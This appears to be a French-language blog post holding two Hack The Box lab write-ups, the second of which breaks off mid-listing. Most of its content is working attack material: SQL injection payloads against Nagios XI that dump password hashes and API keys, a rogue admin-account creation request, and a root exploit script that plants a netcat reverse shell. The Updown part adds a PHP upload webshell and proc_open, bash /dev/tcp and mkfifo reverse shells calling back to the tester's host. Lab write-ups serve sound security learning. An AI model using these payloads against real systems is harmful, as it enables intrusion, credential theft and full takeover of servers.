sl0wguy's Blog

HTB | Monitored

Wed, 12 Nov 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Monitored	Linux	10.10.11.248	Medium

Users

1

svc : XjH7VCehowpR1xZB

Enumeration

nmap TCP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.248
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61e2e7b41b5d46dc3b2f9138e66dc5ff (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABg
| 256 2973c5a58daa3f60a94aa3e59f675c93 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBbeArqg4dgxZEFQzd3zpod1RYGUH6Jfz6tcQjHsVTvRNnUzqx5nc7gK2kUUo1HxbEAH+cPziFjNJc6q7vvpzt4=
| 256 6d7af9eb8e45c2026ad58d4db3a3376f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5o+WJqnyLpmJtLyPL+tEUTFbjMZkx3jUUFqejioAj7
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp open ldap syn-ack ttl 63 OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.56 ((Debian))
|_http-title: Nagios XI
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/emailAddress=support@monitored.htb/localityName=Bournemouth
| Issuer: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/emailAddress=support@monitored.htb/localityName=Bournemouth
| Public Key type: rsa10.10.11.248
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-11-11T21:46:55
| Not valid after: 2297-08-25T21:46:55
| MD5: b36a55607a5f047d983864504d67cfe0
| SHA-1: 610938448c36b08b0ae8a132971c8e89cfac2b5b
| -----BEGIN CERTIFICATE-----
| MIID/zCCAuegAwIBAgIUVhOvMcK6dv/Kvzplbf6IxOePX3EwDQYJKoZIhvcNAQEL
| 4c8NpU/6egay1sl2ZrQuO8feYA==
|_-----END CERTIFICATE-----
|_http-server-header: Apache/2.4.56 (Debian)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
5667/tcp open tcpwrapped syn-ack ttl 63
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=11/10%OT=22%CT=1%CU=37179%PV=Y%DS=2%DC=T%G=Y%TM=691219
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Foothold

SNMP

Avec un scan nmap sur les ports UDP, on comprend que le port SNMP est ouvert. Avec nmap, on effectue plusieurs commandes SNMP et on trouve des credentials:

svc / “XjH7VCehowpR1xZB”

1
2
3
4
5


$ nmap -vv --reason -Pn -T4 -sU -sV -p 161 --script="banner,(snmp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN "/opt/my-resources/setup/zsh/results/10.10.11.248/scans/udp161/udp_161_snmp-nmap.txt" -oX "/opt/my-resources/setup/zsh/results/10.10.11.248/scans/udp161/xml/udp_161_snmp_nmap.xml" 10.10.11.248
| 631:
| Name: sh
| Path: /bin/sh
| Params: -c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB

Le user/pass ne fonctionne pas “The specified user account has been disabled or does not exist.”

SQL Injection

En cherchant sur internet, on trouve la CVE suivante (que l’on teste à l’aveugle car on ne connait pas la version de Nagios XI qui est installée) : CVE-2023-40931

A SQL injection vulnerability in Nagios XI from version 5.11.0 up to and including 5.11.1 allows authenticated attackers to execute arbitrary SQL commands via the ID parameter in the POST request to /nagiosxi/admin/banner_message-ajaxhelper.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1
Host: nagios.monitored.htb
Cookie: nagiosxi=lmeogjafdeiommcbnhu1k7s9lh
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 204

action=acknowledge_banner_message&token=9f86697945abf56d35a7ee14233bef5b481a51be&id=3+OR+(SELECT+7402+FROM(SELECT+COUNT(*),CONCAT(@@version,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)

-----------------------

 <p><pre>SQL Error [nagiosxi] : Duplicate entry '10.5.23-MariaDB-0+deb11u11' for key 'group_key'</pre></p>
{"message":"Failed to acknowledge message.","msg_type":"error"}

On récupère le hachage Admin, que l’on ne réussit pas à déchiffrer.

1
2
3
4
5
6
7


action=acknowledge_banner_message&token=9f86697945abf56d35a7ee14233bef5b481a51be&id=3+OR+(SELECT+7402+FROM(SELECT+COUNT(*),CONCAT((select+username+from+xi_users+LIMIT+1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)

>>> SQL Error [nagiosxi] : Duplicate entry 'nagiosadmin1' for key 'group_key' # --> nagiosadmin (le "1" est raouté par FLOOR(...))

action=acknowledge_banner_message&token=9f86697945abf56d35a7ee14233bef5b481a51be&id=3+OR+(SELECT+7402+FROM(SELECT+COUNT(*),CONCAT((select+password+from+xi_users+LIMIT+1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)

>>> SQL Error [nagiosxi] : Duplicate entry '$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C1' for key 'group_key'

J’ai tenté de bruteforce le hash mais ça n’a pas fonctionné : j’avais oublié que chaque résultat de requete SQL rajoutait un “1” à la fin… Donc mon hash était en vérité:

$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C <—- sans la 1 !! (Mais ça n’a pas fonctionné de toute manière)

xi_users table:

user_id, username, password, name, email, backend_ticket, enabled, api_key, api_enabled, login_attempts, last_attempt, last_password_change, last_login, last_edited, …

J’ai récupérer les colonnes de la table xi_users en utilisant ce type de requêtes :

1
2
3
4
5


select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='xi_users' limit 1
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='xi_users' limit 1,1
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='xi_users' limit 2,1
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='xi_users' limit 3,1
...

On réussi à récupérer la clé API de l’administateur :

1
2
3
4
5


# If you have "..." because your string is very long
select api_key from xi_users limit 1
>>> 'IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9C...'
# You can use SUBSTRING multiple times to dump the string
select SUBSTRING(api_key, 1, 10) from xi_users limit 1

IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

En récupérant les requête API utilisé sur une autre exploit disponible (récente), j’ai pu créer un nouvel utilisateur Administrateur :

1
2
3
4


POST /nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1 HTTP/1.1
Host: 10.10.11.248

username=Lu6Wk&password=DxMkC&name=Lu6Wk&email=Lu6Wk%40mail.com&auth_level=admin

On peut alors ensuite se connecter sur l’interface graphique de nagios XI avec ce nouvel utilisateur et créer des commandes sur cette page :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


GET /nagiosxi/includes/components/ccm/index.php?cmd=view&type=command&page=1

------------------------

https://nagios.monitored.htb/nagiosxi/includes/components/ccm/index.php?cmd=modify&type=command&id=158&page=1&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcommand%26page%3D1
>>> Command Line : cat user.txt

------------------------

GET /nagiosxi/includes/components/nagioscorecfg/applyconfig.php

------------------

GET /nagiosxi/includes/components/ccm/command_test.php?cmd=test&mode=test&cid=158&nsp=443df18d3ff18d83e02a7bb13fc42870f7b73046851cecd9e301897d427f8a5e HTTP/1.1
Host: nagios.monitored.htb
User-Agent: python-requests/2.32.4
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: nagiosxi=8pi6o9q2kph72ugu230v9vjq2g

>>>>>>>>>>>>>>
HTTP/1.1 200 OK
...
[nagios@monitored ~]$ cat user.txt
213b4331f50e5f1072d301938db28331

Stable Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


# Reverse Shell Linux ELF
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=1337 -f elf > shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes

$ http-server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.248 - - [11/Nov/2025 19:58:51] "GET /shell HTTP/1.1" 200 -

------------------------------

Through Burp, I executed 3 commands in a row :
- curl http://10.10.14.14/shell -O shell
- chmod 777 shell
- ./shell

------------------------------

$ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.11.248.
Ncat: Connection from 10.10.11.248:53330.

python3 -c 'import pty;pty.spawn("/bin/bash")'
nagios@monitored:/home/nagios$ export TERM=xterm
export TERM=xterm
nagios@monitored:/home/nagios$ ^Z
[1] + 68520 suspended nc -lnvp 1337
$ stty raw -echo;fg
[1] + 68520 continued nc -lnvp 1337
nagios@monitored:/home/nagios$ whoami
nagios
nagios@monitored:/home/nagios$ ls
cookie.txt shell user.txt
nagios@monitored:/home/nagios$ cat user.txt
213b4331f50e5f1072d301938db28331

SSH to nagios

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


nagios@monitored:/home/nagios$ cd .ssh
nagios@monitored:/home/nagios/.ssh$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/nagios/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/nagios/.ssh/id_rsa
Your public key has been saved in /home/nagios/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:2NBZpIJ+HjRmFS93s8DRbV8sAp4rqh+3kPsTvXVzki0 nagios@monitored
The key s randomart image is:
+---[RSA 3072]----+
......
+----[SHA256]-----+
nagios@monitored:/home/nagios/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC....id8HqID90SBHsANCYUhofRFH5rCG3alGvYyYNMu+Wk= nagios@monitored
nagios@monitored:/home/nagios/.ssh$ mv id_rsa.pub authorized_keys
nagios@monitored:/home/nagios/.ssh$ ls
authorized_keys id_rsa
nagios@monitored:/home/nagios/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5v.......c0Btb25pdG9yZWQBAg==
-----END OPENSSH PRIVATE KEY-----

--------------------

# Copy the id_rsa to my machine and connect to nagios using SSH
$ vim nagios.key
$ chmod 600 nagios.key
$ ssh nagios@10.10.11.248 -i nagios.key
Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
...
Last login: Wed Mar 27 10:32:47 2024 from 10.10.14.23
nagios@monitored:~$ whoami
nagios
nagios@monitored:~$ cat user.txt
213b....8331

Privilege Escalation

CVE-2024-24402

Je lance une recherche sur google :

“exploit nagiosxi script as root” ce qui m’amène vers ce lien :
https://gist.github.com/sec-fortress/6d128a5e290e873be4c2ca27b6579eca

ou encore la recherche :

“cve nagioxi priv esc” qui m’amène vers ce lien, expliquant la même CVE :
https://github.com/MAWK0235/CVE-2024-24402

En faisant sudo -l, on se rend compte qu’on peut executer beaucoup de binaires en tant que root avec sudo. En regardant de plus près les scripts, il ne s’agit que de scripts de nagiosxi qui n’ont pas subis de modification.

Ce qui veut signifie que s’il existe un moyen d’exploiter ces binaires, il existe probablement une CVE sur internet. Et si ne n’est pas le cas, ils ne sont pas surement pas exploitables.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


nagios@monitored:~$ sudo -l
Matching Defaults entries for nagios on localhost:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User nagios may run the following commands on localhost:
 (root) NOPASSWD: /etc/init.d/nagios start
 (root) NOPASSWD: /etc/init.d/nagios stop
 (root) NOPASSWD: /etc/init.d/nagios restart
 (root) NOPASSWD: /etc/init.d/nagios reload
 (root) NOPASSWD: /etc/init.d/nagios status
 (root) NOPASSWD: /etc/init.d/nagios checkconfig
 (root) NOPASSWD: /etc/init.d/npcd start
 (root) NOPASSWD: /etc/init.d/npcd stop
 (root) NOPASSWD: /etc/init.d/npcd restart
 (root) NOPASSWD: /etc/init.d/npcd reload
 (root) NOPASSWD: /etc/init.d/npcd status
 (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
 (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
 (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *

Voici ce que contient le fichier executable nous permettant d’exploiter /usr/local/nagiosxi/scripts/manage_services.sh pour devenir root :
exploit.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


#!/bin/bash

# Create npcd script
echo "#!/bin/bash" > /tmp/npcd
echo "nc -e /bin/bash 10.10.14.14 4445" >> /tmp/npcd

# Grant executable permissions on the npcd script
chmod +x /tmp/npcd 2>/dev/null

# Stop the npcd service
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd

# Replace original npcd script
cp /tmp/npcd /usr/local/nagios/bin/npcd 2>/dev/null

echo "[+] Start Up your listener"
sleep 1
echo "[+] nc -lvnp 4445"

sleep 15

echo "[+] Expect your shellzz xD"

# start service to recieve reverse shell
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

sleep 5

echo "[+] done"

Il faut donc remplacer le binaire ntpd par un faux contenant un reverse shell, puis redemarrer le service en utilisant le script manage_services.sh avec sudo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


nagios@monitored:~$ ./exploit.sh
[+] Start Up your listener
[+] nc -lvnp 4445
[+] Expect your shellzz xD
[+] done

-------------------------

nc -lnvp 4445
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 10.10.11.248.
Ncat: Connection from 10.10.11.248:40642.
whoami
root
cd /root
cat root.txt
cf92....0a0a

HTB | Updown

Thu, 30 Oct 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Updown	Linux	10.10.11.177	Medium

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.177
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl7j17X/EWcm1MwzD7sKOFZyTUggWH1RRgwFbAK+B6R28x47OJjQW8VO4tCjTyvqKBzpgg7r98xNEykmvnMr0V9eUhg6zf04GfS/gudDF3Fbr3XnZOsrMmryChQdkMyZQK1HULbqRij1tdHaxbIGbG5CmIxbh69mMwBOlinQINCStytTvZq4btP5xSMd8pyzuZdqw3Z58ORSnJAorhBXAmVa9126OoLx7AzL0aO3lqgWjo/wwd3FmcYxAdOjKFbIRiZK/f7RJHty9P2WhhmZ6mZBSTAvIJ36Kb4Z0NuZ+ztfZCCDEw3z3bVXSVR/cp0Z0186gkZv8w8cp/ZHbtJB/nofzEBEeIK8gZqeFc/hwrySA6yBbSg0FYmXSvUuKgtjTgbZvgog66h+98XUgXheX1YPDcnUU66zcZbGsSM1aw1sMqB1vHhd2LGeY8UeQ1pr+lppDwMgce8DO141tj+ozjJouy19Tkc9BB46FNJ43Jl58CbLPdHUcWeMbjwauMrw0=
| 256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKMJ3/md06ho+1RKACqh2T8urLkt1ST6yJ9EXEkuJh0UI/zFcIffzUOeiD2ZHphWyvRDIqm7ikVvNFmigSBUpXI=
| 256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL1VZrZbtNuK2LKeBBzfz0gywG4oYxgPl+s5QENjani1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)

Foothold

siteisup.htb - Port 80

Subdomain dev.siteisup.htb

On trouve une sous-domaine, mais aucune page ne semble accessible (“forbidden”).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


gobuster vhost -u "siteisup.htb" -w `fzf-wordlists` --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://siteisup.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.siteisup.htb Status: 403 [Size: 281]

dev/.git - git-dumper

On trouve une dossier dev/.git :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


dirsearch -u http://siteisup.htb/dev

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://siteisup.htb/

[00:47:20] Scanning: dev/
[00:47:22] 301 - 315B - /dev/.git -> http://siteisup.htb/dev/.git/
[00:47:22] 200 - 3KB - /dev/.git/
[00:47:22] 200 - 772B - /dev/.git/branches/
[00:47:22] 200 - 298B - /dev/.git/config
[00:47:22] 200 - 73B - /dev/.git/description
...

Dans le .git, on trouve un fichier .htaccess nous indiquant qu’un header spécifique permettrait de débloquer l’accès à certaines pages.

1
2
3
4
5
6
7
8


$ git-dumper http://siteisup.htb/dev/ ./git-dump
...
$ cd git-dump
$ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

En essayant d’accéder à dev.siteisup.htb en ajoutant le header, on obtient l’accès à ce vhost !

checker.php

On trouve un fichier changelog.txt indiquant qu’une option nous permettant d’upload des fichiers existe. changelog.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


cat changelog.txt
Beta version

1- Check a bunch of websites.

-- ToDo:

1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.

En analysant la page disponible sur dev.siteisup.htb et le fichier checker.php récupérer dans le .git, on comprend qu’il s’agit bien de la meme page.

Cette page semble contenir une vulnérabilité de type File Upload, nous permettant eventuellement d’executer du code PHP.

File Upload - PHP RCE

La requete suivante permet d’uploader un fichier PHP avec l’extension .phar, qui sera executé correctement comme du php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


POST / HTTP/1.1
Host: dev.siteisup.htb
Special-Dev: only4dev
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary5c49bfd8a8fdd6fcf6070b52067a09e8
Content-Length: 652
Origin: http://dev.siteisup.htb
Connection: keep-alive
Referer: http://dev.siteisup.htb
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundary5c49bfd8a8fdd6fcf6070b52067a09e8
Content-Disposition: form-data; name="file"; filename="shell.phar"
Content-Type: application/x-php

http://google.com
http://siteisup.com
http://10.10.10.10
http://google.com
http://google.com
http://siteisup.com
http://10.10.10.10
http://google.com
http://google.com
http://siteisup.com
http://10.10.10.10
http://google.com

<?php
echo file_get_contents( "/etc/passwd" );
?>

------geckoformboundary5c49bfd8a8fdd6fcf6070b52067a09e8
Content-Disposition: form-data; name="check"

Check
------geckoformboundary5c49bfd8a8fdd6fcf6070b52067a09e8--

Le code source de checker.php récupérer dans le .git, nous montre que les fichiers sont uploader dans un dossier du nom de:

md5(time())

On a donc créer le code bash suivant, afin de retrouver rapidement le fichier shell.phar : md5.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


#!/bin/bash

timestamp=$(date +%s)

for i in {1..10}; do
 t=$(($timestamp-$i))
 md5=$(echo -n $t | md5sum | cut -d' ' -f1)
 #echo $md5
 url='http://dev.siteisup.htb/uploads/'$md5'/'$1
 echo "curl "$url" -H 'Special-Dev: only4dev' -i"
 curl $url -H 'Special-Dev: only4dev' -i
done

Ce code Bash génère 10 noms de dossiers possible pour les 10 dernières secondes écoulées, puis effectuer des requêtes curl avec ces 10 dossiers vers le fichier shell.phar.

Lors de l’execution de notre requpête Burp, il suffit ensuite d’executer notre script Bash qui va retrouver notre fichier shell.phar et executer le code PHP présent. ATTENTION, dans la requete Burp, il faut rajouter beaucoup de :

http://google.com http://google.com …

au début de la requête.

En effet, le fichier shell.phar est créer uniquement le temps de vérification des URL par le checker.php. Plus on met d’URL, plus le temps d’execution est long et notre fichier n’est pas supprimé.

Dans un premier temps, on a afficher /etc/passwd :

./md5.sh shell.phar

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
developer:x:1002:1002::/home/developer:/bin/bash

Reverse Shell - proc_open

En regardant la sortie de phpinfo(), on découvre qu’une liste de fonctions est bloqué:

system, shell_exec, exec…

Les fonctions utilisées habituellement pour executer des commandes et obtenir un reverse shell ne fonctionnent pas.

Cependant, après quelques recherches on trouve le fonction proc_open qui n’est pas bloqué et permet d’executer du code :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


<?php
$descriptorspec = array(
 0 => array("pipe", "r"),
 1 => array("pipe", "w"),
 2 => array("pipe", "w")
);

$cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.14/4444 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes);

if (is_resource($process)) {
 fclose($pipes[0]);
 echo stream_get_contents($pipes[1]);
 fclose($pipes[1]);
 echo stream_get_contents($pipes[2]);
 fclose($pipes[2]);
 proc_close($process);
}
?>

La meilleure technique aurait été de directement généré un reverse shell php à l’aide de msfvenom. Ce code php teste 1 par 1 toutes les fonctions permettant l’execution de commandes systèmes :

1

msfvenom -p php/reverse_php LHOST=10.10.14.14 LPORT=1337 -f raw > shell.php

En utilisant ce code, on obient directement un reverse shell à l’aide de proc_open. Le problème avec cette méthode est qu’on ne sait pas forcement quelle fonction à permis d’obtenir le reverse shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


$ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:49708.
socket_create

whoami
www-data
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.14 1338 >/tmp/f

-------------------
# Better shell

$ nc -lnvp 1338
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:35496.
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@updown:/var/www/dev/uploads/ab47bcda3749f056619b17b959cdd659$ export TERM=xterm
<ab47bcda3749f056619b17b959cdd659$ export TERM=xterm
www-data@updown:/var/www/dev/uploads/ab47bcda3749f056619b17b959cdd659$ ^Z
[1] + 13292 suspended nc -lnvp 1338
[exegol-pentest] downloads # stty raw -echo;fg
[1] + 13292 continued nc -lnvp 1338

www-data@updown:/var/www/dev/uploads/ab47bcda3749f056619b17b959cdd659$

www-data -> developer

SUID binary - Python Injection

On trouve un binaire siteiup. En l’executant, on se rend compte qu’il interprete directement le code de “siteisup_test.py”.

1
2
3
4
5
6
7
8
9


www-data@updown:/home/developer$ ls
dev user.txt
www-data@updown:/home/developer$ cd dev
www-data@updown:/home/developer/dev$ ls -lah
total 32K
drwxr-x--- 2 developer www-data 4.0K Jun 22 2022 .
